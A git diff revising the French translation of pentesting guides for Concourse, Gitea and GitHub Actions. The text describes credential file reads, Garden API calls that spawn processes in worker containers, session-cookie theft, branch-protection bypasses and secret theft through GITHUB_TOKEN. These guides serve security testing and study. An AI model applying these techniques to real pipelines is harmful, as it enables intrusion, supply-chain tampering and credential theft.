cat /concourse-auth/local-users
test:test
@@ -332,7 +332,7 @@ select * from users;
> [!WARNING]
> Ce ne sont que quelques notes intéressantes sur le service, mais comme il n'écoute que sur localhost, ces notes n'auront aucun impact que nous n'avons pas déjà exploité auparavant.
-Par défaut, chaque worker concourse exécutera un service [**Garden**](https://github.com/cloudfoundry/garden) sur le port 7777. Ce service est utilisé par le maître Web pour indiquer au worker **ce qu'il doit exécuter** (télécharger l'image et exécuter chaque tâche). Cela semble plutôt bon pour un attaquant, mais il y a quelques bonnes protections :
+Par défaut, chaque worker concourse exécutera un [**Garden**](https://github.com/cloudfoundry/garden) sur le port 7777. Ce service est utilisé par le Web master pour indiquer au worker **ce qu'il doit exécuter** (télécharger l'image et exécuter chaque tâche). Cela semble plutôt bon pour un attaquant, mais il y a quelques bonnes protections :
- Il est **exposé localement** (127..0.0.1) et je pense que lorsque le worker s'authentifie contre le Web avec le service SSH spécial, un tunnel est créé afin que le serveur web puisse **communiquer avec chaque service Garden** à l'intérieur de chaque worker.
- Le serveur web **surveille les conteneurs en cours d'exécution toutes les quelques secondes**, et les conteneurs **inattendus** sont **supprimés**. Donc, si vous voulez **exécuter un conteneur personnalisé**, vous devez **manipuler** la **communication** entre le serveur web et le service garden.
@@ -353,7 +353,7 @@ Cependant, des techniques comme **monter** le périphérique /dev du nœud ou re
> [!NOTE]
> Dans la section précédente, nous avons vu comment s'échapper d'un conteneur privilégié, donc si nous pouvons **exécuter** des commandes dans un **conteneur privilégié** créé par le **travailleur** **actuel**, nous pourrions **s'échapper vers le nœud**.
-Notez qu'en jouant avec concourse, j'ai remarqué que lorsqu'un nouveau conteneur est créé pour exécuter quelque chose, les processus du conteneur sont accessibles depuis le conteneur de travailleur, donc c'est comme un conteneur créant un nouveau conteneur à l'intérieur de lui.
+Notez qu'en jouant avec concourse, j'ai remarqué que lorsqu'un nouveau conteneur est créé pour exécuter quelque chose, les processus du conteneur sont accessibles depuis le conteneur du travailleur, donc c'est comme un conteneur créant un nouveau conteneur à l'intérieur de lui.
**Entrer dans un conteneur privilégié en cours d'exécution**
```bash
@@ -387,7 +387,7 @@ wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
```
-Cependant, le serveur web vérifie toutes les quelques secondes les conteneurs qui s'exécutent, et si un conteneur inattendu est découvert, il sera supprimé. Comme la communication se fait en HTTP, vous pourriez altérer la communication pour éviter la suppression de conteneurs inattendus :
+Cependant, le serveur web vérifie toutes les quelques secondes les conteneurs en cours d'exécution, et si un conteneur inattendu est découvert, il sera supprimé. Comme la communication se fait en HTTP, vous pourriez altérer la communication pour éviter la suppression de conteneurs inattendus :
```
GET /containers HTTP/1.1.
Host: 127.0.0.1:7777.
diff --git a/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md b/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md
index b426dc31a..f29b8268c 100644
--- a/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md
+++ b/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md
@@ -28,7 +28,7 @@ helm install concourse-release concourse/concourse
# If you need to delete it
helm delete concourse-release
```
-Après avoir généré l'environnement concourse, vous pouvez générer un secret et donner un accès au SA exécuté dans concourse web pour accéder aux secrets K8s :
+Après avoir généré l'environnement concourse, vous pourriez générer un secret et donner un accès au SA fonctionnant dans concourse web pour accéder aux secrets K8s :
```yaml
echo 'apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
@@ -123,15 +123,15 @@ fly -t tutorial trigger-job --job pipe-name/simple --watch
# From another console
fly -t tutorial intercept --job pipe-name/simple
```
-Vérifiez **127.0.0.1:8080** pour voir le flux de pipeline.
+Vérifiez **127.0.0.1:8080** pour voir le flux de la pipeline.
-### Script Bash avec pipeline de sortie/entrée
+### Script Bash avec pipeline d'entrée/sortie
-Il est possible de **sauvegarder les résultats d'une tâche dans un fichier** et d'indiquer que c'est une sortie, puis d'indiquer l'entrée de la tâche suivante comme la sortie de la tâche précédente. Ce que concourse fait, c'est **monter le répertoire de la tâche précédente dans la nouvelle tâche où vous pouvez accéder aux fichiers créés par la tâche précédente**.
+Il est possible de **sauvegarder les résultats d'une tâche dans un fichier** et d'indiquer que c'est une sortie, puis d'indiquer l'entrée de la tâche suivante comme la sortie de la tâche précédente. Ce que fait concourse, c'est de **monter le répertoire de la tâche précédente dans la nouvelle tâche où vous pouvez accéder aux fichiers créés par la tâche précédente**.
### Déclencheurs
-Vous n'avez pas besoin de déclencher les travaux manuellement chaque fois que vous devez les exécuter, vous pouvez également les programmer pour qu'ils s'exécutent à chaque fois :
+Vous n'avez pas besoin de déclencher les jobs manuellement chaque fois que vous devez les exécuter, vous pouvez également les programmer pour qu'ils s'exécutent à chaque fois :
- Un certain temps passe : [Time resource](https://github.com/concourse/time-resource/)
- Sur de nouveaux commits dans la branche principale : [Git resource](https://github.com/concourse/git-resource)
diff --git a/src/pentesting-ci-cd/gitea-security/README.md b/src/pentesting-ci-cd/gitea-security/README.md
index 4bfcf65ea..c41185171 100644
--- a/src/pentesting-ci-cd/gitea-security/README.md
+++ b/src/pentesting-ci-cd/gitea-security/README.md
@@ -1,4 +1,4 @@
-# Gitea Security
+# Sécurité de Gitea
{{#include ../../banners/hacktricks-training.md}}
@@ -39,7 +39,7 @@ Notez qu'en **default Gitea permet aux nouveaux utilisateurs de s'inscrire**. Ce
Pour ce scénario, nous allons supposer que vous avez obtenu un accès à un compte github.
-### Avec les identifiants de l'utilisateur/Cookie Web
+### Avec les identifiants de l'utilisateur / Cookie Web
Si vous avez d'une manière ou d'une autre déjà des identifiants pour un utilisateur au sein d'une organisation (ou si vous avez volé un cookie de session), vous pouvez **simplement vous connecter** et vérifier quels **permissions vous avez** sur quels **repos,** dans **quelles équipes** vous êtes, **lister d'autres utilisateurs**, et **comment les repos sont protégés.**
@@ -52,15 +52,15 @@ Notez que **2FA peut être utilisé** donc vous ne pourrez accéder à ces infor
Gitea permet aux **utilisateurs** de définir des **clés SSH** qui seront utilisées comme **méthode d'authentification pour déployer du code** en leur nom (aucune 2FA n'est appliquée).
-Avec cette clé, vous pouvez effectuer **des modifications dans les dépôts où l'utilisateur a des privilèges**, cependant vous ne pouvez pas l'utiliser pour accéder à l'API gitea pour énumérer l'environnement. Cependant, vous pouvez **énumérer les paramètres locaux** pour obtenir des informations sur les repos et l'utilisateur auquel vous avez accès :
+Avec cette clé, vous pouvez effectuer des **modifications dans les dépôts où l'utilisateur a des privilèges**, cependant vous ne pouvez pas l'utiliser pour accéder à l'API gitea afin d'énumérer l'environnement. Cependant, vous pouvez **énumérer les paramètres locaux** pour obtenir des informations sur les repos et l'utilisateur auquel vous avez accès :
```bash
# Go to the the repository folder
# Get repo config and current user name and email
git config --list
```
-Si l'utilisateur a configuré son nom d'utilisateur comme son nom d'utilisateur gitea, vous pouvez accéder aux **clés publiques qu'il a définies** dans son compte à _https://github.com/\.keys_, vous pourriez vérifier cela pour confirmer que la clé privée que vous avez trouvée peut être utilisée.
+Si l'utilisateur a configuré son nom d'utilisateur comme son nom d'utilisateur gitea, vous pouvez accéder aux **clés publiques qu'il a définies** dans son compte à _https://github.com/\.keys_, vous pouvez vérifier cela pour confirmer que la clé privée que vous avez trouvée peut être utilisée.
-Les **clés SSH** peuvent également être définies dans les dépôts comme **clés de déploiement**. Quiconque ayant accès à cette clé pourra **lancer des projets à partir d'un dépôt**. En général, sur un serveur avec différentes clés de déploiement, le fichier local **`~/.ssh/config`** vous donnera des informations sur la clé à laquelle il est lié.
+Les **clés SSH** peuvent également être définies dans les dépôts en tant que **clés de déploiement**. Quiconque ayant accès à cette clé pourra **lancer des projets à partir d'un dépôt**. En général, sur un serveur avec différentes clés de déploiement, le fichier local **`~/.ssh/config`** vous donnera des informations sur la clé à laquelle il est lié.
#### Clés GPG
@@ -101,7 +101,7 @@ Notez que **si vous êtes un admin d'org/repo**, vous pouvez contourner les prot
Les **webhooks** sont capables d'**envoyer des informations spécifiques de gitea à certains endroits**. Vous pourriez être en mesure de **exploiter cette communication**.\
Cependant, généralement, un **secret** que vous ne pouvez **pas récupérer** est défini dans le **webhook** qui **empêchera** les utilisateurs externes qui connaissent l'URL du webhook mais pas le secret d'**exploiter ce webhook**.\
-Mais dans certaines occasions, les gens au lieu de définir le **secret** à sa place, le **mettent dans l'URL** comme paramètre, donc **vérifier les URL** pourrait vous permettre de **trouver des secrets** et d'autres endroits que vous pourriez exploiter davantage.
+Mais dans certaines occasions, les gens au lieu de définir le **secret** à sa place, ils **le définissent dans l'URL** comme paramètre, donc **vérifier les URL** pourrait vous permettre de **trouver des secrets** et d'autres endroits que vous pourriez exploiter davantage.
Les webhooks peuvent être définis au **niveau du dépôt et au niveau de l'org**.
@@ -115,8 +115,8 @@ Dans ce fichier, vous pouvez trouver des **clés** et des **mots de passe**.
Dans le chemin gitea (par défaut : /data/gitea), vous pouvez également trouver des informations intéressantes comme :
-- La **DB sqlite** : Si gitea n'utilise pas une DB externe, il utilisera une DB sqlite.
-- Les **sessions** dans le dossier des sessions : En exécutant `cat sessions/*/*/*`, vous pouvez voir les noms d'utilisateur des utilisateurs connectés (gitea pourrait également enregistrer les sessions dans la DB).
+- La base de données **sqlite** : Si gitea n'utilise pas une base de données externe, il utilisera une base de données sqlite.
+- Les **sessions** dans le dossier des sessions : En exécutant `cat sessions/*/*/*`, vous pouvez voir les noms d'utilisateur des utilisateurs connectés (gitea pourrait également enregistrer les sessions dans la base de données).
- La **clé privée jwt** dans le dossier jwt.
- Plus d'**informations sensibles** pourraient être trouvées dans ce dossier.
diff --git a/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md b/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md
index 1206915d5..23c8ff43f 100644
--- a/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md
+++ b/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md
@@ -4,9 +4,9 @@
## Structure de base
-La structure de base de l'environnement Gitea est de regrouper les dépôts par **organisation(s)**, chacune d'elles pouvant contenir **plusieurs dépôts** et **plusieurs équipes**. Cependant, notez que tout comme sur GitHub, les utilisateurs peuvent avoir des dépôts en dehors de l'organisation.
+La structure de base de l'environnement Gitea consiste à regrouper les dépôts par **organisation(s)**, chacune d'elles pouvant contenir **plusieurs dépôts** et **plusieurs équipes**. Cependant, notez que tout comme sur GitHub, les utilisateurs peuvent avoir des dépôts en dehors de l'organisation.
-De plus, un **utilisateur** peut être **membre de différentes organisations**. Au sein de l'organisation, l'utilisateur peut avoir **différentes permissions sur chaque dépôt**.
+De plus, un **utilisateur** peut être **membre** de **différentes organisations**. Au sein de l'organisation, l'utilisateur peut avoir **différentes permissions sur chaque dépôt**.
Un utilisateur peut également être **partie de différentes équipes** avec différentes permissions sur différents dépôts.
@@ -38,7 +38,7 @@ Lors de la création d'une nouvelle équipe, plusieurs paramètres importants so
### Équipes & Utilisateurs
-Dans un dépôt, l'**admin d'org** et les **admins de dépôt** (si autorisé par l'org) peuvent **gérer les rôles** attribués aux collaborateurs (autres utilisateurs) et aux équipes. Il y a **3** rôles possibles :
+Dans un dépôt, l'**admin d'org** et les **admins de dépôt** (si autorisés par l'org) peuvent **gérer les rôles** attribués aux collaborateurs (autres utilisateurs) et aux équipes. Il y a **3** rôles possibles :
- Administrateur
- Écrire
@@ -48,7 +48,7 @@ Dans un dépôt, l'**admin d'org** et les **admins de dépôt** (si autorisé pa
### Accès Web
-Utiliser **nom d'utilisateur + mot de passe** et potentiellement (et recommandé) une 2FA.
+Utilisation de **nom d'utilisateur + mot de passe** et potentiellement (et recommandé) un 2FA.
### **Clés SSH**
@@ -56,7 +56,7 @@ Vous pouvez configurer votre compte avec une ou plusieurs clés publiques permet
#### **Clés GPG**
-Vous **ne pouvez pas usurper l'identité de l'utilisateur avec ces clés** mais si vous ne l'utilisez pas, il pourrait être possible que vous **soyez découvert pour avoir envoyé des commits sans signature**.
+Vous **ne pouvez pas usurper l'identité de l'utilisateur avec ces clés**, mais si vous ne l'utilisez pas, il pourrait être possible que vous **soyez découvert pour avoir envoyé des commits sans signature**.
### **Jetons d'accès personnels**
@@ -76,10 +76,10 @@ Les clés de déploiement peuvent avoir un accès en lecture seule ou en écritu
Les protections de branche sont conçues pour **ne pas donner un contrôle complet d'un dépôt** aux utilisateurs. L'objectif est de **mettre plusieurs méthodes de protection avant de pouvoir écrire du code dans une certaine branche**.
-Les **protections de branche d'un dépôt** peuvent être trouvées à _https://localhost:3000/\/\/settings/branches_
+Les **protections de branche d'un dépôt** peuvent être trouvées sur _https://localhost:3000/\/\/settings/branches_
> [!NOTE]
-> Il est **impossible de définir une protection de branche au niveau de l'organisation**. Donc, toutes doivent être déclarées sur chaque dépôt.
+> Il **n'est pas possible de définir une protection de branche au niveau de l'organisation**. Donc, toutes doivent être déclarées sur chaque dépôt.
Différentes protections peuvent être appliquées à une branche (comme à master) :
@@ -91,7 +91,7 @@ Différentes protections peuvent être appliquées à une branche (comme à mast
- **Exiger des approbations** : Indiquer le nombre d'approbations requises avant qu'une PR puisse être fusionnée.
- **Restreindre les approbations aux utilisateurs sur liste blanche** : Indiquer les utilisateurs/équipes qui peuvent approuver les PRs.
- **Bloquer la fusion sur des revues rejetées** : Si des modifications sont demandées, elle ne peut pas être fusionnée (même si les autres vérifications réussissent)
-- **Bloquer la fusion sur des demandes de révision officielles** : S'il y a des demandes de révision officielles, elle ne peut pas être fusionnée
+- **Bloquer la fusion sur des demandes de révision officielles** : Si des demandes de révision officielles existent, elle ne peut pas être fusionnée
- **Rejeter les approbations obsolètes** : Lors de nouveaux commits, les anciennes approbations seront rejetées.
- **Exiger des commits signés** : Les commits doivent être signés.
- **Bloquer la fusion si la demande de tirage est obsolète**
diff --git a/src/pentesting-ci-cd/github-security/README.md b/src/pentesting-ci-cd/github-security/README.md
index 660575c0f..cd328452c 100644
--- a/src/pentesting-ci-cd/github-security/README.md
+++ b/src/pentesting-ci-cd/github-security/README.md
@@ -55,7 +55,7 @@ Il est possible de **compromettre des dépôts en abusant des demandes de tirage
### Fuites Github dans des forks supprimés/internes
-Même s'ils sont supprimés ou internes, il peut être possible d'obtenir des données sensibles à partir de forks de dépôts github. Vérifiez ici :
+Même si supprimé ou interne, il peut être possible d'obtenir des données sensibles à partir de forks de dépôts github. Vérifiez ici :
{{#ref}}
accessible-deleted-data-in-github.md
@@ -65,19 +65,19 @@ accessible-deleted-data-in-github.md
### Privilèges des membres
-Il existe certains **privilèges par défaut** qui peuvent être attribués aux **membres** de l'organisation. Ceux-ci peuvent être contrôlés depuis la page `https://github.com/organizations//settings/member_privileges` ou depuis l'[**API des organisations**](https://docs.github.com/en/rest/orgs/orgs).
+Il existe certains **privilèges par défaut** qui peuvent être attribués aux **membres** de l'organisation. Ceux-ci peuvent être contrôlés depuis la page `https://github.com/organizations//settings/member_privileges` ou depuis l' [**API des organisations**](https://docs.github.com/en/rest/orgs/orgs).
-- **Permissions de base** : Les membres auront la permission Aucune/Lire/Écrire/Admin sur les dépôts de l'organisation. Il est recommandé de choisir **Aucune** ou **Lire**.
-- **Forking de dépôt** : Si ce n'est pas nécessaire, il est préférable de **ne pas autoriser** les membres à forker les dépôts de l'organisation.
-- **Création de pages** : Si ce n'est pas nécessaire, il est préférable de **ne pas autoriser** les membres à publier des pages à partir des dépôts de l'organisation. Si nécessaire, vous pouvez autoriser la création de pages publiques ou privées.
+- **Permissions de base** : Les membres auront la permission Aucune/Lire/écrire/Admin sur les dépôts de l'organisation. Il est recommandé de choisir **Aucune** ou **Lire**.
+- **Forking de dépôt** : Si ce n'est pas nécessaire, il est préférable de **ne pas permettre** aux membres de forker les dépôts de l'organisation.
+- **Création de pages** : Si ce n'est pas nécessaire, il est préférable de **ne pas permettre** aux membres de publier des pages à partir des dépôts de l'organisation. Si nécessaire, vous pouvez autoriser la création de pages publiques ou privées.
- **Demandes d'accès à l'intégration** : Avec cela activé, les collaborateurs externes pourront demander l'accès aux applications GitHub ou OAuth pour accéder à cette organisation et à ses ressources. C'est généralement nécessaire, mais si ce n'est pas le cas, il est préférable de le désactiver.
-- _Je n'ai pas trouvé cette info dans la réponse des API, partagez si vous le faites_
+- _Je n'ai pas trouvé cette info dans la réponse des APIs, partagez si vous le faites_
- **Changement de visibilité du dépôt** : Si activé, les **membres** avec des permissions **admin** pour le **dépôt** pourront **changer sa visibilité**. Si désactivé, seuls les propriétaires de l'organisation peuvent changer les visibilités des dépôts. Si vous **ne** voulez pas que les gens rendent les choses **publiques**, assurez-vous que cela est **désactivé**.
-- _Je n'ai pas trouvé cette info dans la réponse des API, partagez si vous le faites_
+- _Je n'ai pas trouvé cette info dans la réponse des APIs, partagez si vous le faites_
- **Suppression et transfert de dépôt** : Si activé, les membres avec des permissions **admin** pour le dépôt pourront **supprimer** ou **transférer** des **dépôts** publics et privés.
-- _Je n'ai pas trouvé cette info dans la réponse des API, partagez si vous le faites_
+- _Je n'ai pas trouvé cette info dans la réponse des APIs, partagez si vous le faites_
- **Autoriser les membres à créer des équipes** : Si activé, tout **membre** de l'organisation pourra **créer** de nouvelles **équipes**. Si désactivé, seuls les propriétaires de l'organisation peuvent créer de nouvelles équipes. Il est préférable d'avoir cela désactivé.
-- _Je n'ai pas trouvé cette info dans la réponse des API, partagez si vous le faites_
+- _Je n'ai pas trouvé cette info dans la réponse des APIs, partagez si vous le faites_
- **D'autres choses peuvent être configurées** sur cette page, mais les précédentes sont celles qui sont les plus liées à la sécurité.
### Paramètres des Actions
@@ -89,9 +89,9 @@ Plusieurs paramètres liés à la sécurité peuvent être configurés pour les
- **Politiques des actions Github** : Cela vous permet d'indiquer quels dépôts peuvent exécuter des workflows et quels workflows doivent être autorisés. Il est recommandé de **spécifier quels dépôts** doivent être autorisés et de ne pas permettre à toutes les actions de s'exécuter.
- [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization)
-- **Workflows de demandes de tirage de forks de collaborateurs externes** : Il est recommandé de **demander une approbation pour tous** les collaborateurs externes.
+- **Exécuter des workflows de demandes de tirage de collaborateurs externes** : Il est recommandé de **demander une approbation pour tous** les collaborateurs externes.
- _Je n'ai pas trouvé d'API avec cette info, partagez si vous le faites_
-- **Exécuter des workflows à partir de demandes de tirage de forks** : Il est fortement **déconseillé d'exécuter des workflows à partir de demandes de tirage** car les mainteneurs de l'origine du fork auront la possibilité d'utiliser des jetons avec des permissions de lecture sur le dépôt source.
+- **Exécuter des workflows à partir de demandes de tirage de forks** : Il est fortement **déconseillé d'exécuter des workflows à partir de demandes de tirage** car les mainteneurs de l'origine du fork auront la possibilité d'utiliser des tokens avec des permissions de lecture sur le dépôt source.
- _Je n'ai pas trouvé d'API avec cette info, partagez si vous le faites_
- **Permissions des workflows** : Il est fortement recommandé de **donner uniquement des permissions de lecture sur le dépôt**. Il est déconseillé de donner des permissions d'écriture et de création/d'approbation de demandes de tirage pour éviter l'abus du GITHUB_TOKEN donné aux workflows en cours d'exécution.
- [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization)
@@ -109,14 +109,14 @@ Pour ce scénario, nous allons supposer que vous avez obtenu un accès à un com
### Avec les identifiants utilisateur
-Si vous avez d'une manière ou d'une autre déjà des identifiants pour un utilisateur au sein d'une organisation, vous pouvez **vous connecter** et vérifier quels **rôles d'entreprise et d'organisation vous avez**, si vous êtes un membre ordinaire, vérifiez quels **permissions ont les membres ordinaires**, dans quels **groupes** vous êtes, quelles **permissions vous avez** sur quels **dépôts**, et **comment les dépôts sont protégés**.
+Si vous avez d'une manière ou d'une autre déjà des identifiants pour un utilisateur au sein d'une organisation, vous pouvez **simplement vous connecter** et vérifier quels **rôles d'entreprise et d'organisation vous avez**, si vous êtes un membre ordinaire, vérifiez quels **permissions ont les membres ordinaires**, dans quels **groupes** vous êtes, quelles **permissions vous avez** sur quels **dépôts**, et **comment les dépôts sont protégés**.
Notez que **2FA peut être utilisé**, donc vous ne pourrez accéder à ces informations que si vous pouvez également **passer cette vérification**.
> [!NOTE]
> Notez que si vous **parvenez à voler le cookie `user_session`** (actuellement configuré avec SameSite: Lax), vous pouvez **complètement usurper l'identité de l'utilisateur** sans avoir besoin d'identifiants ou de 2FA.
-Vérifiez la section ci-dessous sur les [**contournements de protections de branches**](./#branch-protection-bypass) au cas où cela serait utile.
+Vérifiez la section ci-dessous sur [**les contournements de protection des branches**](./#branch-protection-bypass) au cas où cela serait utile.
### Avec la clé SSH de l'utilisateur
@@ -134,7 +134,7 @@ Les **clés SSH** peuvent également être définies dans les dépôts en tant q
#### Clés GPG
-Comme expliqué [**ici**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md), il est parfois nécessaire de signer les commits sinon vous pourriez être découvert.
+Comme expliqué [**ici**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md), il est parfois nécessaire de signer les commits ou vous pourriez être découvert.
Vérifiez localement si l'utilisateur actuel a une clé avec :
```shell
@@ -176,15 +176,15 @@ abusing-github-actions/
## Contournement de la protection des branches
-- **Exiger un nombre d'approbations** : Si vous avez compromis plusieurs comptes, vous pourriez simplement accepter vos PR depuis d'autres comptes. Si vous n'avez que le compte à partir duquel vous avez créé la PR, vous ne pouvez pas accepter votre propre PR. Cependant, si vous avez accès à un environnement **Github Action** à l'intérieur du dépôt, en utilisant le **GITHUB_TOKEN**, vous pourriez être en mesure d'**approuver votre PR** et d'obtenir 1 approbation de cette manière.
-- _Note pour cela et pour la restriction des propriétaires de code que généralement un utilisateur ne pourra pas approuver ses propres PR, mais si vous le pouvez, vous pouvez en abuser pour accepter vos PR._
-- **Rejeter les approbations lorsque de nouveaux commits sont poussés** : Si cela n'est pas configuré, vous pouvez soumettre du code légitime, attendre qu'il soit approuvé, puis ajouter du code malveillant et le fusionner dans la branche protégée.
+- **Exiger un nombre d'approbations** : Si vous avez compromis plusieurs comptes, vous pourriez simplement accepter vos PRs d'autres comptes. Si vous n'avez que le compte à partir duquel vous avez créé la PR, vous ne pouvez pas accepter votre propre PR. Cependant, si vous avez accès à un **environnement d'action Github** à l'intérieur du dépôt, en utilisant le **GITHUB_TOKEN**, vous pourriez être en mesure d'**approuver votre PR** et d'obtenir 1 approbation de cette manière.
+- _Remarque pour cela et pour la restriction des propriétaires de code que généralement un utilisateur ne pourra pas approuver ses propres PRs, mais si vous le pouvez, vous pouvez en abuser pour accepter vos PRs._
+- **Rejeter les approbations lorsque de nouveaux commits sont poussés** : Si cela n'est pas défini, vous pouvez soumettre du code légitime, attendre qu'il soit approuvé, puis mettre du code malveillant et le fusionner dans la branche protégée.
- **Exiger des revues des propriétaires de code** : Si cela est activé et que vous êtes un propriétaire de code, vous pourriez faire en sorte qu'une **action Github crée votre PR et que vous l'approuviez vous-même**.
- Lorsqu'un **fichier CODEOWNER est mal configuré**, Github ne se plaint pas mais ne l'utilise pas. Par conséquent, s'il est mal configuré, **la protection des propriétaires de code n'est pas appliquée.**
- **Autoriser des acteurs spécifiés à contourner les exigences de demande de tirage** : Si vous êtes l'un de ces acteurs, vous pouvez contourner les protections de demande de tirage.
-- **Inclure les administrateurs** : Si cela n'est pas configuré et que vous êtes administrateur du dépôt, vous pouvez contourner ces protections de branche.
+- **Inclure les administrateurs** : Si cela n'est pas défini et que vous êtes administrateur du dépôt, vous pouvez contourner ces protections de branche.
- **Détournement de PR** : Vous pourriez être en mesure de **modifier la PR de quelqu'un d'autre** en ajoutant du code malveillant, en approuvant la PR résultante vous-même et en fusionnant le tout.
-- **Suppression des protections de branche** : Si vous êtes **administrateur du dépôt, vous pouvez désactiver les protections**, fusionner votre PR et rétablir les protections.
+- **Suppression des protections de branche** : Si vous êtes un **administrateur du dépôt, vous pouvez désactiver les protections**, fusionner votre PR et rétablir les protections.
- **Contourner les protections de poussée** : Si un dépôt **n'autorise que certains utilisateurs** à envoyer des poussées (fusionner du code) dans des branches (la protection de branche pourrait protéger toutes les branches en spécifiant le caractère générique `*`).
- Si vous avez **un accès en écriture sur le dépôt mais que vous n'êtes pas autorisé à pousser du code** en raison de la protection de branche, vous pouvez toujours **créer une nouvelle branche** et à l'intérieur, créer une **action github qui est déclenchée lorsque du code est poussé**. Comme la **protection de branche ne protégera pas la branche tant qu'elle n'est pas créée**, ce premier envoi de code vers la branche **exécutera l'action github**.
@@ -209,14 +209,14 @@ Notez que **après la création** de la branche, la **protection de la branche s
- **Suppression** des **résultats** de workflow et des **branches**
- Donner **plus de permissions à toute l'organisation**
- Créer des **webhooks** pour exfiltrer des informations
-- Inviter des **collaborateurs externes**
+- Inviter **des collaborateurs externes**
- **Supprimer** les **webhooks** utilisés par le **SIEM**
-- Créer/modifier une **Github Action** avec une **porte dérobée**
-- Trouver une **Github Action vulnérable à l'injection de commandes** via la modification de la valeur **secrète**
+- Créer/modifier **Github Action** avec une **porte dérobée**
+- Trouver **Github Action vulnérable à l'injection de commandes** via la modification de la valeur **secrète**
-### Commits d'imposteur - Porte dérobée via des commits de repo
+### Commits imposteurs - Porte dérobée via des commits de repo
-Dans Github, il est possible de **créer une PR pour un repo à partir d'un fork**. Même si la PR n'est **pas acceptée**, un **commit** id à l'intérieur du repo original va être créé pour la version fork du code. Par conséquent, un attaquant **pourrait épingler à utiliser un commit spécifique d'un repo apparemment légitime qui n'a pas été créé par le propriétaire du repo**.
+Dans Github, il est possible de **créer une PR pour un repo à partir d'un fork**. Même si la PR n'est **pas acceptée**, un **commit** id à l'intérieur du repo original sera créé pour la version fork du code. Par conséquent, un attaquant **pourrait épingler l'utilisation d'un commit spécifique d'un repo apparemment légitime qui n'a pas été créé par le propriétaire du repo**.
Comme [**ceci**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e):
```yaml
diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md
index fdf1c644e..d18b76fa1 100644
--- a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md
+++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md
@@ -1,30 +1,30 @@
-# Abusing Github Actions
+# Abuser des Github Actions
{{#include ../../../banners/hacktricks-training.md}}
-## Basic Information
+## Informations de base
Dans cette page, vous trouverez :
- Un **résumé de tous les impacts** d'un attaquant parvenant à accéder à une Github Action
-- Différentes manières de **get access to an action** :
+- Différentes manières d'**accéder à une action** :
- Avoir des **permissions** pour créer l'action
-- Abuser des déclencheurs liés aux **pull request**
-- Abuser d'autres techniques d'accès **externes**
+- Abuser des déclencheurs liés aux **pull requests**
+- Abuser d'autres techniques d'**accès externe**
- **Pivoting** à partir d'un dépôt déjà compromis
- Enfin, une section sur les **techniques de post-exploitation pour abuser d'une action de l'intérieur** (causant les impacts mentionnés)
-## Impacts Summary
+## Résumé des impacts
Pour une introduction sur [**Github Actions, consultez les informations de base**](../basic-github-information.md#github-actions).
-Si vous pouvez **exécuter du code arbitraire dans GitHub Actions** au sein d'un **repository**, vous pourriez être en mesure de :
+Si vous pouvez **exécuter du code arbitraire dans GitHub Actions** au sein d'un **dépôt**, vous pourriez être en mesure de :
- **Voler des secrets** montés dans le pipeline et **abuser des privilèges du pipeline** pour obtenir un accès non autorisé à des plateformes externes, telles qu'AWS et GCP.
-- **Compromettre des déploiements** et d'autres **artifacts**.
+- **Compromettre des déploiements** et d'autres **artéfacts**.
- Si le pipeline déploie ou stocke des actifs, vous pourriez altérer le produit final, permettant une attaque de la chaîne d'approvisionnement.
- **Exécuter du code dans des workers personnalisés** pour abuser de la puissance de calcul et pivoter vers d'autres systèmes.
-- **Écraser le code du repository**, en fonction des permissions associées au `GITHUB_TOKEN`.
+- **Écraser le code du dépôt**, en fonction des permissions associées au `GITHUB_TOKEN`.
## GITHUB_TOKEN
@@ -32,17 +32,17 @@ Ce "**secret**" (provenant de `${{ secrets.GITHUB_TOKEN }}` et `${{ github.token
-Ce token est le même qu'une **Github Application utilisera**, donc il peut accéder aux mêmes points de terminaison : [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
+Ce token est le même qu'une **application Github utilisera**, donc il peut accéder aux mêmes points de terminaison : [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
> [!WARNING]
-> Github devrait publier un [**flow**](https://github.com/github/roadmap/issues/74) qui **permet l'accès inter-repository** au sein de GitHub, afin qu'un repo puisse accéder à d'autres repos internes en utilisant le `GITHUB_TOKEN`.
+> Github devrait publier un [**flux**](https://github.com/github/roadmap/issues/74) qui **permet un accès inter-dépôts** au sein de GitHub, afin qu'un dépôt puisse accéder à d'autres dépôts internes en utilisant le `GITHUB_TOKEN`.
Vous pouvez voir les **permissions** possibles de ce token ici : [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
-Notez que le token **expire après la fin du job**.\
+Notez que le token **expire après la fin du travail**.\
Ces tokens ressemblent à ceci : `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
-Certaines choses intéressantes que vous pouvez faire avec ce token :
+Quelques choses intéressantes que vous pouvez faire avec ce token :
{{#tabs }}
{{#tab name="Merge PR" }}
@@ -141,19 +141,19 @@ Il est possible de vérifier les permissions accordées à un Github Token dans
